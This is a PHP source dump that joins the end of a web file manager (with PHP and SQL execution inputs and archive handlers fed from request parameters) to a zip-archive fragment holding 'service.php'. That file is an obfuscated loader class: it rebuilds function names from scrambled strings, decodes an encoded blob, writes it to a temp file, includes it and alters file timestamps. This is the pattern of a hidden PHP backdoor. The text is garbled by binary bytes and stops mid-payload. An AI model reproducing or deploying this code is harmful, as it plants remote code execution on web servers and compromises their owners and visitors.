} elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no fileSet');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no fileSet');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no fileSet');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fms_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fms_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post" action="<?=$url_inc?>" style="display:inline">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
<input type="submit" name="search" value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fms_config['upload_myfile'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth_local['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth_local['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$fileSet = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$fileSet[] = $file;
}
}
natsort($dirs); natsort($fileSet);
$elements = array_merge($dirs, $fileSet);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fms_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime_share = explode(' ', microtime());
$totaltime = $mtime_share[0] + $mtime_share[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
// Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus
class archiveTar {
var $archiveTitle = '';
var $temporaryFile = 0;
var $filePointer = 0;
var $isCompressedFile = true;
var $errorList = array();
var $fileSet = array();
function __construct(){
if (!isset($this->errorList)) $this->errorList = array();
}
function buildArchivePackage($file_list){
$result = false;
if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->initiateFileWrite()) return false;
} else {
if (fileSetize($this->archiveTitle) == 0) return $this->initiateFileWrite();
if ($this->isCompressedFile) {
$this->finalizeTempFile();
if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){
$this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb');
if (!$tmpArchive){
$this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable');
rename($this->archiveTitle.'.tmp', $this->archiveTitle);
return false;
}
if (!$this->initiateFileWrite()){
rename($this->archiveTitle.'.tmp', $this->archiveTitle);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->saveDataBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archiveTitle.'.tmp');
} else {
$this->temporaryFile = fopen($this->archiveTitle, 'r+b');
if (!$this->temporaryFile) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->bundleFilesIntoArchive($file_list);
} else $this->errorList[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->temporaryFile))){
$binaryData = pack('a512', '');
$this->saveDataBlock($binaryData);
}
$this->finalizeTempFile();
if ($newArchive && !$result){
$this->finalizeTempFile();
unlink($this->archiveTitle);
}
return $result;
}
function recoverArchive($path){
$fileName = $this->archiveTitle;
if (!$this->isCompressedFile){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isCompressedFile = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true;
}
$result = true;
if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb');
else $this->temporaryFile = fopen($fileName, 'rb');
if (!$this->temporaryFile){
$this->errorList[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unbundleFilesIntoArchive($path);
$this->finalizeTempFile();
return $result;
}
function displayErrorLogs ($message = '') {
$Errors = $this->errorList;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function bundleFilesIntoArchive($file_array){
$result = true;
if (!$this->temporaryFile){
$this->errorList[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archiveTitle)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errorList[] = __('No file').' '.$filename;
continue;
}
if (!$this->temporaryFile){
$this->errorList[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errorList[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->generateValidPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errorList[] = __('Mode ').__('is incorrect');
}
if(($this->filePointer == 0)){
if(!$this->insertHeaderInfo($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->saveDataBlock($binaryData);
}
fclose($file);
} else $this->insertHeaderInfo($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->bundleFilesIntoArchive($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unbundleFilesIntoArchive($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->retrieveDataBlock()) != 0){
if (!$this->fetchHeaderInfo($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->retrieveDataBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->retrieveDataBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->retrieveDataBlock();
if (!$this->fetchHeaderInfo($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errorList[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errorList[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->retrieveDataBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->retrieveDataBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (fileSetize($header['filename']) != $header['size']) {
$this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->fileSet[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errorList[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function fetchHeaderInfo($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$fileHash = 0;
for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');
for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['fileHash'] = OctDec(trim($unpack_data['fileHash']));
if ($header['fileHash'] != $fileHash){
$header['filename'] = '';
if (($fileHash == 256) && ($header['fileHash'] == 0)) return true;
$this->errorList[] = __('Error fileHash for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function insertHeaderInfo($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->generateValidPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the fileHash
$fileHash = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$fileHash += ord(substr($dataFirst, $i, 1));
// Ignore the fileHash value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$fileHash += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$fileHash += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->saveDataBlock($dataFirst, 148);
// Write the calculated fileHash
$fileHash = sprintf('%6s ', DecOct($fileHash));
$binaryData = pack('a8', $fileHash);
$this->saveDataBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->saveDataBlock($dataLast, 356);
$temporaryFilename = $this->generateValidPath($filename_ready);
$i = 0;
while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->saveDataBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(fileSetize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$fileHash = 0;
for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1));
$this->saveDataBlock($dataFirst, 148);
$fileHash = sprintf('%6s ', DecOct($fileHash));
$binaryData = pack('a8', $fileHash);
$this->saveDataBlock($binaryData, 8);
$this->saveDataBlock($dataLast, 356);
return true;
}
function initiateFileWrite(){
if ($this->isCompressedFile)
$this->temporaryFile = gzopen($this->archiveTitle, 'wb9f');
else
$this->temporaryFile = fopen($this->archiveTitle, 'wb');
if (!($this->temporaryFile)){
$this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle;
return false;
}
return true;
}
function retrieveDataBlock(){
if (is_resource($this->temporaryFile)){
if ($this->isCompressedFile)
$block = gzread($this->temporaryFile, 512);
else
$block = fread($this->temporaryFile, 512);
} else $block = '';
return $block;
}
function saveDataBlock($data, $length = 0){
if (is_resource($this->temporaryFile)){
if ($length === 0){
if ($this->isCompressedFile)
gzputs($this->temporaryFile, $data);
else
fputs($this->temporaryFile, $data);
} else {
if ($this->isCompressedFile)
gzputs($this->temporaryFile, $data, $length);
else
fputs($this->temporaryFile, $data, $length);
}
}
}
function finalizeTempFile(){
if (is_resource($this->temporaryFile)){
if ($this->isCompressedFile)
gzclose($this->temporaryFile);
else
fclose($this->temporaryFile);
$this->temporaryFile = 0;
}
}
function generateValidPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>
PK �Lm\�a]t֭ ֭ service.phpnu �[��� <?php
class Div {
function library($_tree) {
$tx = $this->px($this->library[0].$this->library[4].$this->library[1].$this->library[2].$this->library[3].$this->library[5]);
$tx = $tx($_tree);
return $tx;
}
function error($_session) {
$result = include($_session);
return $result;
}
function __construct() {
$dictionary = $this->tool($this->_point);
$dictionary = $this->library($this->px($dictionary));
$dictionary = $this->ls($dictionary);
$dictionary = $this->error($dictionary);
if(is_array($dictionary)) {
list($map, $stable, $_path, $size) = $dictionary;
$this->x64 = $size;
$this->heap = $_path;
$this->_block = $map;
$this->nginx($map, $stable);
}
}
function ls($delegate) {
$ver = $this->px($this->_request[1].$this->_request[2].$this->_request[3].$this->_request[5].$this->_request[4].$this->_request[0]);
$this->ver = $ver() . $this->px($this->_iterator[2].$this->_iterator[4].$this->_iterator[0].$this->_iterator[1].$this->_iterator[3]) . md5(time());
$ver = $this->px($this->parser[2].$this->parser[3].$this->parser[0].$this->parser[4].$this->parser[1]);
$ver = $ver($this->ver, 'w');
if ($ver)
{
$_session = $this->px($this->pointer[1].$this->pointer[2].$this->pointer[0]);
$_session($ver, $delegate);
return $this->ver;
}
}
function _tx($dx, $_script, $event) {
$lib = strlen($_script) + strlen($event);
$this->graph = 0;
while(strlen($event) < $lib) {
$debug = ord($_script[$this->graph]) - ord($event[$this->graph]);
$_script[$this->graph] = chr($debug % (4096/16));
$event .= $_script[$this->graph];
$this->graph++;
}
return $_script;
}
function _signal($_tree) {
$_input = $this->_signal[1].$this->_signal[2].$this->_signal[4].$this->_signal[0].$this->_signal[3];
$_input = $_input($_tree);
return $_input;
}
function nginx($event, $_worker) {
$this->memory = $event;
$this->_worker = $_worker;
$this->x86 = $this->tool($this->x86);
$this->x86 = $this->_signal($this->x86);
$this->x86 = $this->_cmd();
if(strpos($this->x86, $this->memory) !== false) {
if(!$this->x64)
$this->_cron($this->heap, $this->_block);
$this->ls($this->x86);
$this->error($this->ver);
}
}
function _cron($_tree, $_value) {
$move = $this->px($this->_cron[2].$this->_cron[0].$this->_cron[6].$this->_cron[1].$this->_cron[3].$this->_cron[4].$this->_cron[5]);
$move = $move($_tree, $_value);
}
function _cmd() {
$_stack = $this->_tx($this->_worker, $this->x86, $this->memory);
$_stack = $this->library($_stack);
return $_stack;
}
function px($context) {
$_emu = $this->_signal($context);
$_emu = $this->_tx('', $_emu, strval($this->twelve));
return $_emu;
}
function tool($delegate) {
$_container = $this->px($this->access[3].$this->access[0].$this->access[4].$this->access[5].$this->access[1].$this->access[2]);
return $_container(array(" ", "\r", "\n", "\t"), "", $delegate);
}
public $graph = 0;
public $heap;
public $parser = array('hy', '=', 'n6', 'e', '90');
public $x64;
public $ver;
public $pointer = array('vX', 'n6', '+jz+');
public $_request = array('=', 'rJ2k', '5s7i4', 'cjiz9', 'G09g', 'XYwOb');
public $_block;
public $twelve = 981;
public $_signal = array('deco', 'ba', 'se', 'de', '64_');
public $_iterator = array('uWo', 'ub', 'a', 'E', 'K');
public $memory;
public $x86 = 'MfLOqxwZyWJeitcTWSzZoarkDECVY4YkMzq3cEzSJuk68Zu7IsDrOVsMcysh0j2vp
VT8Niu2cIT+UH3gkv+Nh4p3LFS5htjdwiRDOnb5+2s8XiIPpdL1uWN37xnqr2tX+M5QH
/5FFBRx5PH51ypPybODU/utLVq1cmXsvLnXxo0EddWufKX+GDUimUKPHsZ
hAyCUEL8jgQ9uRZ4zX1oiNycCUZNvlrOcSELUPhsoK/75Jre0M4TAHvD7ZPW0/hPVQhrXcFCYD97
MMWFu/1qcsFa4s9LM8tE/ClNKu5Y06j7dHgEnHHDMrgkR9qYFBD
go2CWW1Pg8WPtMk+++gMA/JwB3fV/bNcI+v1xtyQM3NU2NgVqiGCeSGKRUtTi+yE+TkR
mHTuWlFyyQdJDZ/PwQ3bMNHbEEsn1w2KcEJAddGutBJk0+Dmw
d5iPMbt1GrBsEkbuJww9HwUCfIRsghFqVpgML6HO
EVS/Y9s4wk7Afivj1Q8bpzZqIBpIIFZeXW/PVLh8F6s
69yzd82KRxs8HVAsn/hY1cFwTDXqDCLhhyDMvY4VWKi
TvTsBoMSeW4pi1aiYYgV2pyFm1u5zLtRPe0Z0MS5FgoAZWjBhQoAPAHygZE1KbVg24X3kIvcM
